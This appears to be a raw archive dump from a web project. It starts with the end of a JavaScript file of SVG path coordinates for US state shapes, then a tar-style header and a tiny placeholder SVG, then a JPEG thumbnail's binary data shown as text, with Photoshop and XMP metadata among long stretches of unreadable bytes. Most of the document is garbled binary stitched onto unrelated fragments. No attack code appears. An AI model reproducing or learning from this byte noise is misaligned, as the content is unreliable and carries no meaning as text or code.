22.95579,5.658116 15.22312,3.207173 -13.63236,63.585811 -12.445,-3.525318 -15.50801,-3.570679 -15.22929,0.03324 -0.45557,-1.344699 -5.59922,2.179293 -4.59543,-0.736744 -2.14697,-1.584054 -1.31321,0.657976 -4.73566,-0.140243 -1.69836,-1.349633 -5.26304,-2.112303 -0.734971,0.146918 -4.389122,-1.524448 -1.893298,1.817379 -6.265906,-0.298733 -5.925698,-4.125702 0.778957,-0.932763 0.121223,-7.677452 -2.281999,-3.839701 -4.115208,-0.60704 -0.67741,-2.510616 -2.275512,-0.456932 -3.554948,1.230576 -2.263247,-3.219247 0.323321,-2.909889 2.748228,-0.323321 1.616605,-4.041511 -2.586568,-1.131624 0.161661,-3.718191 4.364833,-0.646641 -2.748228,-2.748228 -1.454945,-7.113061 0.646642,-2.909888 0,-7.921363 -1.778265,-3.23321 2.263247,-9.376307 2.101586,0.484981 2.424907,2.909889 2.748228,2.586567 3.233209,1.939926 4.526493,2.101586 3.071551,0.646642 2.909889,1.454944 3.394873,0.969963 2.263246,-0.16166 0,-2.424908 1.293284,-1.131623 2.101582,-1.293284 0.32333,1.131624 0.32332,1.778265 -2.263251,0.484981 -0.323321,2.101586 1.778262,1.454945 1.13163,2.424907 0.64664,1.939925 1.45494,-0.16166 0.16166,-1.293284 -0.96996,-1.293284 -0.48498,-3.233209 0.8083,-1.778265 -0.64664,-1.454944 0,-2.263247 1.77827,-3.55653 -1.13163,-2.586568 -2.42491,-4.8498139 0.32333,-0.8083023 1.13162,-0.8083024 z m -9.456692,5.9789646 2.020764,-0.16166 0.484982,1.374119 1.535779,-1.616615 2.344082,0 0.808303,1.535779 -1.53578,1.69744 0.646652,0.808313 -0.727477,2.020761 -1.374119,0.404146 c 0,0 -0.889138,0.08084 -0.889138,-0.242485 0,-0.323321 1.454955,-2.586578 1.454955,-2.586578 l -1.69744,-0.565817 -0.323321,1.454954 -0.727478,0.646642 -1.535782,-2.263257 -0.484982,-2.505742 z",CA:"m 144.69443,382.19813 3.94008,-0.48862 1.48604,-2.01144 0.54454,-2.94109 -3.55152,-0.59012 -0.51417,-0.66822 0.4775,-2.03231 -0.15928,-0.58967 1.92257,-0.61959 3.04278,-2.83268 0.58156,-4.9951 1.3799,-3.40211 1.94329,-2.16626 3.51887,-1.58967 1.65439,-1.60483 0.0687,-2.10884 -0.99333,-0.58001 -1.02315,-1.07273 -1.15522,-5.84845 -2.6852,-4.83009 0.56581,-3.505 -2.41958,-1.02931 -69.061322,-104.1784 18.902112,-67.60149 -67.079863,-15.69796 -1.506896,4.73324 -0.161661,7.43638 -5.173135,11.80121 -3.071548,2.58657 -0.323321,1.13162 -1.778266,0.80831 -1.454944,4.20317 -0.808302,3.23321 2.748228,4.20317 1.616605,4.20317 1.131623,3.55653 -0.323321,6.46642 -1.778265,3.07155 -0.646642,5.81978 -0.969963,3.71819 1.778265,3.87985 2.748228,4.52649 2.263247,4.84982 1.293283,4.04151 -0.32332,3.23321 -0.323321,0.48498 0,2.10158 5.658116,6.30476 -0.484981,2.42491 -0.646642,2.26325 -0.646642,1.93992 0.16166,8.24469 2.101586,3.71819 1.939926,2.58656 2.748228,0.48499 0.969963,2.74822 -1.131623,3.55653 -2.101587,1.61661 -1.131623,0 -0.808302,3.87985 0.484981,2.90989 3.23321,4.36483 1.616604,5.3348 1.454944,4.68815 1.293284,3.07155 3.39487,5.81978 1.454944,2.58656 0.484982,2.90989 1.616604,0.96996 0,2.42491 -0.808302,1.93993 -1.778265,7.11306 -0.484982,1.93992 2.424908,2.74823 4.203172,0.48498 4.526493,1.77827 3.879851,2.10158 2.909889,0 2.909888,3.07155 2.586567,4.84982 1.131624,2.26324 3.879851,2.10159 4.849814,0.8083 1.454944,2.10159 0.646642,3.23321 -1.454944,0.64664 0.323321,0.96996 3.233211,0.8083 2.748228,0.16167 3.159889,-1.68685 3.879854,4.20317 0.808302,2.26325 2.586572,4.20317 0.32332,3.23321 0,9.37631 0.48498,1.77826 10.02295,1.45495 19.72257,2.74822 13.84504,1.3497 z m -88.135212,-43.71668 1.293288,1.53578 -0.16166,1.29329 -3.233221,-0.0808 -0.565814,-1.21246 -0.646644,-1.45495 3.314051,-0.0808 z m 1.939932,0 1.212458,-0.64664 3.556543,2.10159 3.07156,1.21245 -0.889136,0.64666 -4.526509,-0.2425 -1.61661,-1.61661 -0.808306,-1.45495 z m 20.692614,19.80348 1.778265,2.34408 0.808313,0.96997 1.535779,0.56581 0.565807,-1.45495 -0.969963,-1.77827 -2.667403,-2.02076 -1.050798,0.16166 0,1.21246 z m -1.454955,8.64886 1.778276,3.15239 1.212458,1.93994 -1.454954,0.24248 -1.293284,-1.21245 c 0,0 -0.727477,-1.45495 -0.727477,-1.85911 0,-0.40414 0,-2.18242 0,-2.18242 l 0.484981,-0.0808 z"}}}}),b});images/placeholder.svg000066600000000272151150443020011014 0ustar00<svg xmlns="http://www.w3.org/2000/svg" width="350" height="226" viewBox="0 0 350 226">
  <rect id="Rectangle_1" data-name="Rectangle 1" width="350" height="226" fill="#9ba1ad"/>
</svg>
images/thumbs/img5.jpg000066600000066120151150443020010662 0ustar00����ExifMM*�����(1!�2Շi�$
��'
��'Adobe Photoshop 25.1 (Macintosh)2023:11:13 21:43:19�0231�������rz(�9HH���Adobe_CM��Adobed����			



��g�"��
��?	
	
3!1AQa"q�2���B#$R�b34r��C%�S���cs5���&D�TdE£t6�U�e���u��F'������������Vfv�������7GWgw�������5!1AQaq"2����B#�R��3$b�r��CScs4�%���&5��D�T�dEU6te����u��F������������Vfv�������'7GWgw������?�Ф
�R�
"�)L<��R��v?z)�p4����Ŀ*�N;
��a��
��L�v)G'�:��P�6��49�� G<J�<���i�d4x'��V�踴�;>��c����]��6�-��
/��}�y�6��qnv6D6����K}`��������c2�dc��X{C$8�X�Q�o���B���.�2�r�wR�#����y���Z�z������
v�0H�������L�r��W���̿�9���B�I�!���s]�\8(megv��p%���d{U���4�ո����(>�7R^�dߒ��ap�hQ7�5��
�ŵ�����;1���{2����vRݵ�[t����~r�7{_�� �((�(��N�O�‘�ڸ�5?����zN��!&^K��|��=�>:}&��T�@y�XO i�S#�]�����y?�����xN�i�a1� ��TQL�N�*@�
� S���Qi��I,k��\��w��@�M���D������p��%����?���C!
����6�}-)����8���#i�5>��71���is���BAq��DZ�������C��&�{=�ri����V!�pt��a�n]{�'O{|<��
ʞ׾��+���e�����T�M��tp��$��k���g�m0zN��c^����l0����������la�C^��{�E��*c��%0�i��Q/�P��*���	�����$�茤t�V8l���J?d��}��^r$�@��H>����3�0?�������8D[�:5
�:�����)�Dw	�
�� T�N�u�S�ZB�N�[���p�s��R��4��x=��{�5UD(A��1O�Kp/�&�Tb�5��G3��G��S*��6@tR-ZAi�5(����4)�THU�^<_���dF�t*��p��4�p��V�KX�H�&k�t��LR�͝G�$�H`�x�wf
u	N
p(g)�e: �!t�'IЈ�Q��&?���@4z�Q
*nP(�!���("2����=���"�dž����waZ���������9聶�-�����n�+f�u���7_����'���'���c�͒rm��D����H�b���C�f9���U�٭vm|8~��춴յ�-�I��e���;�o�/���@�mn���Sa�Pw
e~�m����T2i��j���ݮt8'���1�Fߒ#;В<U�iae�Z����n���s�m�0�Z�N�9���������ב�X!��x�?!Nl�N���e�?�:3 Ю w戴���L�^���y��Ȳ;����~�m�?�W���m��]�������Z�)l��?���v=���=��ݷq����ԁV�؄� �8�7���@���! �k��H�����W1*%L��$?����Z%�cG�i�����;k�g�@9�l��v�"���pGh����Π���徥nZ�ת�6��m���D��jD9���Ã���_�Q����Ph
�u�]PLzX�;p���^f]���:�8><��h�j�5�/�!�sml�luw2�[v��f�܋��;�*`v�v9G�Zl�2�!�F9�Q{l��|�F���7��ϩW-nCLx����+���Wk�E�����Z�� �I��n�+�\��sv�wm��?��z��0��۶=�*�=��/-�$~w�3��=^���kKޑ�h��^'�e9�G�~����	V�L��F����-��t�?�F���w�QLT�}��V������}*իqz{ÅE�$��A���ټ��鴰�����#��u�lj-\V5�F��c�-�#M
��of���4��a�������9;h�����(���Qk�t���;!��ʰ��,a��Ihp���z��0yD��; vY��EQs{���D���%����rX�9`�ȩn�����;s�}�=%��5zW��D�"���������ҵ������sa��cm�����I
�~?���ɻ����?�)�k�y{� kC�h�05�=$����Y~�wH��hGx����p0�O�}�w�c$�j�=�:&�՟0��z�1��_����,���l��W�v��N�#�>���;�;�Q��#��b������Q��O�����O�HP��:k�
�ol�!��Ͻ��Ւ�ޔ���.��m�v�
N�
tw��IL.�KN�:���I4)�*%f��&@�����Photoshop 3.08BIMZ%G8BIM%��}�Ǿ	pv���N8BIM:printOutputPstSboolInteenumInteClrmprintSixteenBitboolprinterNameTEXTHP Deskjet 3540 seriesprintProofSetupObjcProof Setup
proofSetupBltnenumbuiltinProof	proofCMYK8BIM;-printOutputOptionsCptnboolClbrboolRgsMboolCrnCboolCntCboolLblsboolNgtvboolEmlDboolIntrboolBckgObjcRGBCRd  doub@o�Grn doub@o�Bl  doub@o�BrdTUntF#RltBld UntF#RltRsltUntF#Pxl@R
vectorDataboolPgPsenumPgPsPgPCLeftUntF#RltTop UntF#RltScl UntF#Prc@YcropWhenPrintingboolcropRectBottomlongcropRectLeftlong
cropRectRightlongcropRectToplong8BIM�HH8BIM&?�8BIM
8BIM8BIM�	8BIM'
8BIM�H/fflff/ff���2Z5-8BIM�p��������������������������������������������������������������������������������������������8BIM@@8BIMD@@8BIM8BIM=��img5��nullboundsObjcRct1Top longLeftlongBtomlong�Rghtlong�slicesVlLsObjcslicesliceIDlonggroupIDlongoriginenumESliceOrigin
autoGeneratedTypeenum
ESliceTypeImg boundsObjcRct1Top longLeftlongBtomlong�Rghtlong�urlTEXTnullTEXTMsgeTEXTaltTagTEXTcellTextIsHTMLboolcellTextTEXT	horzAlignenumESliceHorzAligndefault	vertAlignenumESliceVertAligndefaultbgColorTypeenumESliceBGColorTypeNone	topOutsetlong
leftOutsetlongbottomOutsetlongrightOutsetlong8BIM(?�8BIM8BIM8BIMU�g�� 9���Adobe_CM��Adobed����			



��g�"��
��?	
	
3!1AQa"q�2���B#$R�b34r��C%�S���cs5���&D�TdE£t6�U�e���u��F'������������Vfv�������7GWgw�������5!1AQaq"2����B#�R��3$b�r��CScs4�%���&5��D�T�dEU6te����u��F������������Vfv�������'7GWgw������?�Ф
�R�
"�)L<��R��v?z)�p4����Ŀ*�N;
��a��
��L�v)G'�:��P�6��49�� G<J�<���i�d4x'��V�踴�;>��c����]��6�-��
/��}�y�6��qnv6D6����K}`��������c2�dc��X{C$8�X�Q�o���B���.�2�r�wR�#����y���Z�z������
v�0H�������L�r��W���̿�9���B�I�!���s]�\8(megv��p%���d{U���4�ո����(>�7R^�dߒ��ap�hQ7�5��
�ŵ�����;1���{2����vRݵ�[t����~r�7{_�� �((�(��N�O�‘�ڸ�5?����zN��!&^K��|��=�>:}&��T�@y�XO i�S#�]�����y?�����xN�i�a1� ��TQL�N�*@�
� S���Qi��I,k��\��w��@�M���D������p��%����?���C!
����6�}-)����8���#i�5>��71���is���BAq��DZ�������C��&�{=�ri����V!�pt��a�n]{�'O{|<��
ʞ׾��+���e�����T�M��tp��$��k���g�m0zN��c^����l0����������la�C^��{�E��*c��%0�i��Q/�P��*���	�����$�茤t�V8l���J?d��}��^r$�@��H>����3�0?�������8D[�:5
�:�����)�Dw	�
�� T�N�u�S�ZB�N�[���p�s��R��4��x=��{�5UD(A��1O�Kp/�&�Tb�5��G3��G��S*��6@tR-ZAi�5(����4)�THU�^<_���dF�t*��p��4�p��V�KX�H�&k�t��LR�͝G�$�H`�x�wf
u	N
p(g)�e: �!t�'IЈ�Q��&?���@4z�Q
*nP(�!���("2����=���"�dž����waZ���������9聶�-�����n�+f�u���7_����'���'���c�͒rm��D����H�b���C�f9���U�٭vm|8~��춴յ�-�I��e���;�o�/���@�mn���Sa�Pw
e~�m����T2i��j���ݮt8'���1�Fߒ#;В<U�iae�Z����n���s�m�0�Z�N�9���������ב�X!��x�?!Nl�N���e�?�:3 Ю w戴���L�^���y��Ȳ;����~�m�?�W���m��]�������Z�)l��?���v=���=��ݷq����ԁV�؄� �8�7���@���! �k��H�����W1*%L��$?����Z%�cG�i�����;k�g�@9�l��v�"���pGh����Π���徥nZ�ת�6��m���D��jD9���Ã���_�Q����Ph
�u�]PLzX�;p���^f]���:�8><��h�j�5�/�!�sml�luw2�[v��f�܋��;�*`v�v9G�Zl�2�!�F9�Q{l��|�F���7��ϩW-nCLx����+���Wk�E�����Z�� �I��n�+�\��sv�wm��?��z��0��۶=�*�=��/-�$~w�3��=^���kKޑ�h��^'�e9�G�~����	V�L��F����-��t�?�F���w�QLT�}��V������}*իqz{ÅE�$��A���ټ��鴰�����#��u�lj-\V5�F��c�-�#M
��of���4��a�������9;h�����(���Qk�t���;!��ʰ��,a��Ihp���z��0yD��; vY��EQs{���D���%����rX�9`�ȩn�����;s�}�=%��5zW��D�"���������ҵ������sa��cm�����I
�~?���ɻ����?�)�k�y{� kC�h�05�=$����Y~�wH��hGx����p0�O�}�w�c$�j�=�:&�՟0��z�1��_����,���l��W�v��N�#�>���;�;�Q��#��b������Q��O�����O�HP��:k�
�ol�!��Ͻ��Ւ�ޔ���.��m�v�
N�
tw��IL.�KN�:���I4)�*%f��&@���8BIM!WAdobe PhotoshopAdobe Photoshop 20248BIM���http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.1462899777, 2023/06/25-23:57:14        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="FF9EBF8609263D71BDC87B4EB5A2D178" xmpMM:InstanceID="xmp.iid:88e79129-cceb-4a9a-b2e5-22bae3401dd5" xmpMM:OriginalDocumentID="FF9EBF8609263D71BDC87B4EB5A2D178" dc:format="image/jpeg" photoshop:ColorMode="3" xmp:CreateDate="2022-12-01T17:59:52+05:30" xmp:MetadataDate="2023-11-13T21:43:19+05:30" xmp:ModifyDate="2023-11-13T21:43:19+05:30"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:88e79129-cceb-4a9a-b2e5-22bae3401dd5" stEvt:when="2023-11-13T21:43:19+05:30" stEvt:softwareAgent="Adobe Photoshop 25.1 (Macintosh)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 <?xpacket end="w"?>��!Adobed����
����"��� 0@!1P"#A2$

!1�2A��30��"Rb��4 PQa�B��c@`q�r�CS�󁲃����#s�p�$Td51! 0@PAa�2B��Q��"b��q���R��C`��#3����<�2�T�U@U+,%��-eJfPd��
XY����r�y�u��)�o$.��>��f_SW��9���|��1�4����5��;����A��nѲ�Ɋ�I9�5�M�k�~J@2�Q4Y@U+,E
��-eJV]ͣ�3�:��#�\��:�6�<��,���e�Py�TiҮV�F�eͿ�6m��Ƽz��a2�ܔ=ڹ�s��OD�ۦ��iV�[Z����s�{B���X���ZXj*
�X)a(��h���7j7�ņ1d�����|@����;��5n�ѱӐr�O��<}MY|�{�N��G�th;n���g=�2y�ǯ�;�e
b������ͯ�d䆺܂�r+�Vb�ޙ�e���z9,�
R�B�TPUJ�K	Eep�E��P�2�&Pd�bŒ���z�91g��;e]�׃�x���9t�stg)�!���������霷h8َ.ɬ;��Þ`��΂[5��E�������N�42�T�-,�%��T@UJ�K	Ed��1E$�I��2����~���Ǚٳ�e�[7oь�+:�5��������2d�L�έu˧�Q�i�9�%��q�v�f�d�vb��+;�U�/S!�)b(j 
X� *�`�����h����	L��c�<���տ�?:t���f��a
v�L�tM�'8w�ez�t���]:{)�l)݈���<�r�7B�ڭSr�������Y����b��,����
�X)a(��Z, ���f9�Ă��Gg>W�5��ƶi�4L��A�(8��{8���c���͎\��wG����L�O,m��g[f��j֔�jV�.�F���ZYjK&��e���V
XJ((((*, ��ppX,�V�q�Y��B�p=�R}||�_KN�g=x�5�yH�}��1�[��Y�m0���;���[���УYXj(!ee�c`Ԥ��2�QU+,%L�88,�͎I[6����{�|:sΉ�D�-|�9����ۗ.;�u��
h���o�y�W9�j*��Ld5��ZR�T
�(0K@�C,UR�R�QAAE�L�88�b�+<��Ș���حsl�sl-w8;t��e9k�d�����i�9�vd�Y
YX("�e����P
K@�,T�R�R�QA@ŔL�88(b���ϡi�,���,q��e1�fS.+,2���X�e��R�R�3<J�he�����*V
XJ(((����	�(8���s�V͔o!Pd��@��Cgp�Y��`����*��g�@5-TU��-T���PU�%1� `�X��+�`��`����,�PUA+��=d����X)e�Lfx�jZ�`)a�������

,����d� fxfَ�K),	,)�L�,�P
Q[g���R��T

�h�9԰U-Q@�-T���PU�PRQId�
2�&�t�K	(��@���ˊ��+��J�+[	�]�,���B�c6a�X���XX�("�`�����(������a�P*,(
J�J)2���:�7BT�l&IR�L�g��E,U-a3�(
K@�ET�R�R�QAU�#:�%���.�XP@!Ifh
,��ކ�ta�zh�u���#)Sf���41s�f�Y���d��d(߷�x��1�VR�K
ET���PPRU`��YL�Vَ]$���K2�I`�@P�ˠU��9r�u^Ru�J�nZ�Yr��z�oF��uNw4l��LM�\���,�K�+�ny鸛���VUDQK
ET���PUKX���B�X�d�n��K	,̔0�N��7C�Z�ho���M}�{�����1����ӱ�mN}����.Nu�M�彭���kO!���ܓ(�x
DQK
ET���PUJ���@��e���-RY@Pf�Bsmsƫ�Z��e�m�5��MWvI�՚qި�m'W�ٽǗ��=��eq6HL����L�j��˗M�M���n�1�E,5R�R�QAU-Ls���J(%b�K�K	,3A=Mn|�]J�ԭ�*�tTߟ);wy�ϳ�����>a�~<wGV�9��M�����:�:�G]�;�n;�N;�̷f�ݼ��ƏC�f��~#\��u�z����9'��+������
�f9��PHUJ�a%��fK'6�;sJ��+{�]
�ՏDs�6��]Y\jep�ѷ�{Ϣc��Zw��-P��\b���u�k�J��[<�]�[=<��
9\je�8�ťZ���l��ʰ�PPS����(ed��d��L܌YaX���t`̱G^��㙞.�V�-�7��:�!�^�$�n[�ˋ$�cc�,nG_#��k^���瓣^�n��>���=�LJ���ۡ/-�	�ƣ
����QAK-Ls��̱U,��E\�ї.�8o˚���ƴaL���z/5N�Ϟ�����y�������щ�H缻8r��.y��1���},���{{s�{�����͍h�a��e����\leq�-ƦW�6J�cK	ETS��̲�X
�8�
ۻ�k�:3�,�1mE�Է�1�
���VX]m���.���d�V̜si��s�}�9X���]]}�So�K۞5�ݯ��G=$պ�-ۆ^�/�����X\��nWFe�c�WW^^F���組�����
1dń�e��:\�gM�WR���tZ�t��ҮgM�m�lr��������4�q���z�N��ON]69�=��=7��7��7��7��M��yjukԬ��9�꼕�ܤ뼕:���t�Yu�\K
��gK	E,���*Yi,$�b��8��:]69[���Ys�-i���/%��KKq�l&Lj[	�T��tsd�Fܜr�����rs�6���X�S�##KI-$׺�+n�*�sL-ŲK��jeq��d,t��PS%,4�����S��r���+�s+�ʮ�*���N��������N��N���wx'��e�+����9��2��}6ϕ9�.��:�o�?�h�����c��+�&����,��2���w��ӯ}��ף|ӟM�4z��'���ƽ�/F���j��М]�]���1����Bd=�&�G$d��{/e���1ȑ^�� ���1��2�)�"�+���ȷ�����b=�(<�(�@�bA�������r���{��:<?��.��$Ǒ�7��)�&M���L�@�tK��O(�>�������:�x�$���ӡ�}��/�>��#�p=#�ۋ��bXEvⰊ�/�#�:zx˜����m�s�OŸ�#�G���������G���9W�@�F�~���#т�G��AA�30� � �u�$u� ,�~��O�#0ǔ  T����ߠɓr�P%L:���7л'~e콗��L��(��1�|s��
QǪy>�M�r�,�*@M|r:��HN�:�-�~�8�R��1�R_��(œ�F<ǐt�y��_�{�/��ǰ�B��#���ID2~2���g�3�!��߀�
!���9�3��\�J/��{&@���W�@�
t�1S�1r�dɓr���
�_���}�d0s'$u�v��0T��_��G/���J�$���rK�����b�`��X�V*�1Q���k[�ݿe�u��2`, �(�@Y�Y�Y�g*QdB���I��^��1LSǬGF&	�1�c$�9w��!D�%D(���#'X��X���$s��� �)��ȀD7H �%D/�~ɤ�e��C��^�Y�z웑ԃ�L[�0���
�&Y�K!"�.BB@��X�4}9��.VR�r���V%c%��G��$B̬�̧N�:T@ 8D:�eQ �IB,S&)�t��2!�`�D��&%�C �b�X�V>�-���^��#A$�O$�Q���x�F#��)�ȧ({r��b}`<�zg�o�G;r?��X�A���GDD:CЃ�G����[�(� ���2dɓp3	�����(c�f�h?���FìW5��f�Y�� ��-��������k��	�A�9NS��9Y�Y,��%*ȑA�n,�_ꊌ���dɓ&X�ۊ��+�B˸afa
!{� ^6')�r�I��ĬJĬJįx�dɓ)E0`[��{��#�1L�d�ӧ�����	{�T���
1v�5����	"d�6c>�7�-�`z�b��B2 �b�X�	�1�	E��ёBA�$�M�0=ED��K%�3`c"�� v1�	E�W�dɈ@��J$�8p�"B3Q�0<٬�̬�K%��,�eFO�A�,�. �"���,B�,B!��X��F!����,������xbm�9�f�'	�p�'	�t$�N#�Q�� ��O��Tx�1�?���rA����=��I�-,�O@��VZ+-���됳�з鐻�����DQ���֣-e������Z��T���(�=Z)��l��ZV�YUUiN���6�z�6[�*��=�PfO)T�U�� ���1"BC�ӧN�:~"DX&
��BS�m����2d�*�uN�o��.�۶��|딮��=�ؼ��F�DH&�L�q������Ă�܌�7�	
�%8F��76���~�ӭx����V�J׋Z�k^4��Ax�^4��x�^<�؂�C�ЪF����ճ�7"�
��m/ixK��^�[q#K`�ex;+��^��vW���-��l/ax[½xw�5��&$'(Jp����ɑ�NS�V�փ��)�b��)�b���Y�Y��q<��g��YM�9�d�Y�__->�eڢ���G�k�DڋR��B�J�X#�XF�B�]�gL��B�	��	��#ld��!���ª5�:q6}��}��}��}��}��}g��f�oa~�BQ �#��d�,�<΄�?m�ie���?�6�����g��F��R������&_u�rS�/��Kj{j6�9S+��� �baBr��#ld"8�,U�o�mٴ����j�ػ�.���b�X��deep� ��BQ �։� �H �	H�{q���Q�~�|�)�3�����1���Wъ!A��„�	F�umGV��ڼ[P׵{Qֵx֯�:gCr�l�����9�q�%%bz���T���n�xkN�YD�:��2����d	��:�8Fq m!p���2��Q80��@�2(Ȭ�Ȭ�EdVed����2!�j�U���l ��]�.�z���'	�3&LTA�ݞ��e��n�ӿ*���gp��m�%w"E��\i�uNQ��[d���G^�|h!D�5�x/�YC�y*���2!�k�U�*kʒ�d��p�}`Y{JE:t�21$8G��gT��$
�$.�k،p�ab��#h1�0���L���Pb9굕�2��
��
��
��
��S�ѮAbV%bUr03��ĬJģ��MӪr�l��&���+�P5Dó�7�d�Q��A�K�%ڒ�Iv��R]�(�"3�gj�՝�;v,�YX����]�k�e����$��/2J��0��U��+�*;���Y#�,��������/.��޼��ڽF]�Gn����O��^�^�ߓߗ߈��ܚ[��;4FStDo��z0�����8n@FȀd��(��*����cI[�z�Sڄ��%H��4�I4�M~�_������!�)�U� 8�tDo��Y2dȂ��L���Q5�F3�ʍ��ܩw*]ʗr�ܭw+Y֌�Yֳ�g�pY�g�Vc���ܐ��8M�#����\n�����!y?�T�?��;���gף=4e���T�‹e^���M!eJ2�eJ2�eJʕ�+*VU,�YT��eZʵ�k*���C��21^Ǘ�NP��J�ii�Uy���Q
gv�P��+�z6N��*��V���"a��9NS�=I~�D7 ,��Uב�R�)@���^���u�/�Su��3
���D�X�X����uO�Y�
�/��^���&���|뗛j�m^m��ؼ��b��^]���^Q�'fkɚ�f���&Kɒ�d��)F6�œ&L��������K%�ID,��k��K��Ev�h�FP�����I�3XК��)��>z�~�猟�	@HwNS��9�>z�7��nx���K���߇!��'�<�,z�А߇#�2~S�%��r�M�z"��7<$�~:`��oÐ���P����9
�_P����>���;rW�z?X }
�c�S�!������)䯔����D7�$=F��"�r�����B��7���z=^�_r�2�匹OP�Y{H�s�	|sF\��v��U��j�٭YQ����A�~Y1��猽EdVEd�����6�bq+�+�+�(�v'���SO4�O$�O$�_����d I�$��(�����qЌ�8,����ֻ���kȭw�]�בZ�+Cf����	]�&��Լ���J�^U+ʥ
�W�J��^]*;�����}�Sa�#Ր���:t��D9�W	<���lֲ�]2��R���dcV��S�U�Zv��Yq���9�lB���3e�(��dtc/Fɓ�2d�r@�6{Wc.��>Ҩ�z���=�8k���w,�zS�[l���u�}��������c���u�cZƥ�K�5,iXұ�cJƅ�4,hXЄhXУى�z�s	�Ms�Ya���BhW��W�(Q�GW��CS��:�֔���)S������KZ���_�!�~�=n�]��EvJ��+�Wd��]��v
��+�+�(k���guQ�J�8K�*��\���r���E:ȧN�*�e	N؁&�`!�Q���OZz�֞��'�=I�OR�hB
]
Y��ڼI��eۀXց�&�F�l�4ecmR�] ��U�u�b2��	�;0 ��H��E�����_ʿ�*{���N��!Gkn*e�U�`���Q��_�~�j_i�3Gop���F͒��&ؙ�+�m��J�2n-�U��VW
�bUS��٫W�RbAdɓ&)�b�H�D?E�yV�����=i�ORz�U,�YT���I�OJzP�+*�T�iR���U��!,��LFp��e��]�e��]�U��]�E��V�D@��U��Gg^G���ܦ�.�Olw���.����.����ߦ�w4n�>����,�,�,���ۊ�%�dVEdP�NVEdU7��x��D�"f�$�O4�YIe%����؁�V��(�М�+Dm�K �	�t�LS�X�����Ȭ�Ȭ�Ȭ�Ȭ�̡2�8�pU7�G�Db��i�{�+�{�����U���V�脠CsD�m�\�:(ő�_�G@t|kW�j�^-�t�� cp�O�pS~]J�R��)Ή�u!w�]�z��ʻpR�蜣�U���R�脠Cr]q�U�H�6Q(i	�:%\���
��-������*g.A�Q~��'�er7XW�/��y�&@���%� pn׺�^��.��FD(�l���N�r�o�V�p�K���
�	ghU�DGb�#
�¹�Js?d#mH�o��6vet�P<����B9�Gȵy6�mZ
�Fpb
7��0猙wk���6�mt���k���k/��k 5���Gœ3_c&Q��ق�'D��F�a8v����PġMtJF�[+�q���Y	��~A�q�_�G(�St���B�A��#}��)�PNS�N�*��WU�	�$Cq��FCdUomN�r�v#U��+�ݢ���>��}��_g~�t}n䥹�n��p#��#�?��i�U�ڡd�E�	j9��9/
K’�d�/K��_2���H�����=�(*��VՈS�K�d�;"���;]��G꾴��X��}lT�54�hՄ�cNļME�j����ꡫ����'H�������#��t�����µx����޼-��l/ax;+��CCek}6��3	Or��R~pU7b�����ɔd6ES���k�Z�Aw ����r�,�w+]��r�ܩL���ޭ	���i�f���L�fk�5ٚ�3zu,����(L)E��t)�b��)���Ȭ�ȧ)�r��+"�غ�I+�{�X�`U7b���p�|q��Cr��l/3ay�nl/7ay�+��^n��+��^v��W���������/?iy�K��^~��ן��������݁���
�'�(�R]'�O��U>�}D��-E���Me���Yi,��Z+-���Ae��/�Y}r�됗֪��򂩻m@8d�:���pn.�:~�BL��q�_�/���LJb��+�1LS�1LS�	Ӕ�Ӕ�dy�Sv*�@
���pn���E�G���8�c,�E�WP�V������Ɲ*��مp�f�X�}m:���!U{pU⭤�S�!��+�+�+�+�+�+�+�X:HX�V+]�S�Uˡ(�D�t��O�Q�?�?'�/�~���ήX�*�gu�u2�}C�xyO1���^j���弼�|�|��B��!!��_�/��w������y��G��?�%u�2�~X���Z��2�@�5�/#�
�?E�,ޣ7��+ݲ�����|�9	QQ�k(�r�
9A�F�I't�I��T�f������HȊ�J�;7�yӛ#2܂ t7��f[��̹12bL>%�#E��ݓ])o�5��W{��ϑ���?�џ�k!�\��V�uN�X\c��;�󼟙?2�l�DK���pD�A`�݁e�[�ݦ8�8X+r��i��4輦8�7茛+�kkt���ț���Η`�%y?i�k����p(��V�1�L4	ke6�Ŭ3�.�3�N�s���#���f3��a0��?ĝԕ%IRT��*J�%u�����
�M���%6[�J��DĜ�	$�$�I$�R��7��$�$�M�I'h��w��J����:M�d���3D<��b��z(�.~
t�<WJ)(Jj%5�]�Q�:�U����'��?:xIԤ�I��_i[�K��(�l�N�2��>��+�������}� �#ek�j�-�*כ�GOY=Ezs��AWY*H���:DG�Ts:�����S9�#A�QH�f�FI�{*J�f�H�\��U�>;��>"Vt�����M"Vb�)���)
B��.�Q��%���e�����Dٵ�A��O�c��]�L������<���t4��1#�>�9H�!=&�z
S��TE�6�OATF�O�ٳ��]D.�Q��ZH�mT���AF��I$�R��Q�q��y�����|����kW�[�%u����]eu���d��_�i�]�I����<_�Nb��fnl��[�)*J���*2�ni��ɣ2�S�}�md�1wIho�����:�BoY{e����d��GOQ=G�J���� ����d�l�0�)��ꛪn��h�SuM�!E��u�2��*�!AAE�wa)�-��m2гE�����(ˎ��f�8��3�g���8N�]�,�0��?�#o�؋�WIFD�� *!�?$��r���oF�d���j!�3�Ѭs�Ѭs�Ѭs�Ѭs�Ѫe��oF��;=��D�Ft*����Y�.��������Vt{&x�f3�TK��^ލPə��X&g
ّ�CAa|r��Aa}�Ea}�EJ��Mp����^q��H6a�&���UҌƑO���W6a�ȄaO�_��FED(��"���;�����/`��/g��&��6�Pt�^ @����-�",c�ӓ�W�`jW��W/¥r;� EG*��bF�Z���A�^�
